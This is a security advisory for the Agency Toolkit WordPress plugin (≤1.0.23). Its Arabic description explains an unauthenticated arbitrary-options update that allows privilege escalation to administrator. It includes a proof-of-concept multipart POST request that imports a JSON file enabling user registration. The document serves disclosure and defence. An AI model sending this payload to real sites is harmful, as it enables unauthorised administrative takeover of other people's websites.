
Agency Toolkit <= 1.0.23 - Missing Authorization to Unauthenticated Arbitrary Options Update
Agency Toolkit <= 1.0.23 - فقدان التفويض لتحديث خيارات عشوائية بدون مصادقة
إضافة Agency Toolkit لووردبريس عرضة لتعديل غير مصرح به للبيانات يمكن أن يؤدي إلى تصعيد الامتيازات بسبب عدم وجود فحص قدرة على إجراء 'agency_toolkit_import' في جميع الإصدارات حتى 1.0.23 وما تشمله. وهذا يتيح للمهاجمين غير المصادقين تحديث خيارات عشوائية على موقع ووردبريس. ويمكن استغلال ذلك لتحديث الدور الافتراضي للتسجيل إلى مسؤول وتمكين تسجيل المستخدمين ليتمكن المهاجمون من الحصول على وصول مستخدم إداري إلى موقع ضعيف.
POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"
1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json
[
{
"option_name": "users_can_register",
"option_value": "1"
}
]
------WebKitFormBoundaryABC123--